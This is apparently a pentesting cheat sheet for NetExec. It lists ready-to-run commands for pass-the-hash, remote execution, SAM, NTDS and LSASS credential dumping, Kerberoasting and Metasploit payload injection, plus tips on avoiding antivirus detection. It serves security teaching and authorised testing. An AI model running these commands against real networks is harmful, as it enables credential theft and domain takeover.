root@sparrow:~/writeups$ cat netexec.md
// Active Directory
NetExec
21 Jul 2026
· 3 min read
NetExec (the active successor to CrackMapExec, which keeps the nxc binary) is a post-exploitation tool for pentesting Windows and Active Directory networks. From a single line it validates credentials, enumerates shares and users, and executes commands over protocols such as SMB, WinRM, SSH and LDAP. It is one of the tools that saves the most time when moving laterally across a domain.NetExec's real power lies in operating at scale: it accepts CIDR ranges and lists of users/passwords or hashes, and flags each attempt as [+] (valid) or (Pwn3d!) when the credential holds administrative privileges. Understanding that distinction is key, because a hit does not guarantee you can run commands or dump credentials: for --sam, --ntds or pass-the-hash with execution you need local or domain administrator privileges over the target.
1. Beginner level — enumeration and credential validation

| Command | What it does |
|---|---|
nxc smb <t> | Checks whether the SMB host responds and its version |
nxc smb <rango>/24 | Scans an entire subnet looking for SMB hosts |
nxc smb <t> -u user -p pass | Tests a single credential against SMB |
nxc smb <t> -u user -p pass --local-auth | Authenticates as a local user, not a domain one |
nxc smb <t> -u <users> -p <pass> | Tests several username/password combinations |
nxc smb <t> -u user -p pass --shares | Enumerates the accessible shares |
nxc smb <t> -u user -p pass --users | Enumerates the domain users |
nxc smb <t> -u user -p pass --groups | Enumerates the domain groups |
nxc smb <t> -u user -p pass --pass-pol | Enumerates the password policy |
nxc winrm <t> -u user -p pass | Checks access via WinRM |
nxc ssh <t> -u user -p pass | Checks access via SSH |
nxc smb <t> -u user -p pass --sam | Dumps the local SAM database |
nxc smb <t> -u user -H <hash> | Authenticates with an NTLM hash (pass-the-hash) |
nxc ldap <t> -u user -p pass | Checks access via LDAP |
2. Advanced level — execution, dumps and roasting

| Command | What it does |
|---|---|
nxc smb <t> -u user -p pass -x "whoami" | Runs a remote command (cmd) |
nxc smb <t> -u user -p pass -X "whoami" | Runs a command via PowerShell |
nxc smb <t> -u user -p pass -M spider_plus | Crawls and downloads files from shares |
nxc smb <t> -u user -p pass -M lsassy | Dumps credentials from LSASS |
nxc smb <t> -u user -p pass --ntds | Dumps the NTDS.dit database |
nxc smb <t> -u user -p pass --kerberoasting out.txt | Performs a Kerberoasting attack |
nxc smb <t> -u user -p pass --asreproast out.txt | Performs an AS-REP Roasting attack |
nxc smb <t> -u user -p pass --sessions | Enumerates active sessions on the host |
nxc smb <t> -u user -p pass --loggedon-users | Shows users with a logged-on session |
nxc smb <t> -u user -p pass -M met_inject | Injects a Metasploit payload |
nxc smb <t> -d dominio -u user -p pass | Specifies the authentication domain |
nxc smb <t> -u user -p pass --continue-on-success | Keeps testing credentials after a hit |
nxc ldap <t> -u user -p pass -M get-desc-users | Searches for passwords in LDAP descriptions |
nxc smb <t> -u user -p pass -M enum_av | Enumerates the installed antivirus |
3. Details people miss
- The binary is
nxc, notcrackmapexec: NetExec is the fork maintained after CME was abandoned, so ignore old cheatsheets that use the legacy binary. - To authenticate against non-domain machines (or local accounts) you need
--local-auth; without it, NetExec attempts domain authentication and will fail. - The
(Pwn3d!)marker signals administrative privileges: without it, options like--sam,--ntdsor execution with-x/-Xwill not work even if the credential is valid. --ntdsmust be run against a Domain Controller with a domain-admin account; against a regular host there is no NTDS.dit database to dump.- Modules like
lsassyormet_injecttouch the LSASS process memory or inject payloads: they are noisy and often trip the EDR/antivirus, so pair them withenum_avbefore firing.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.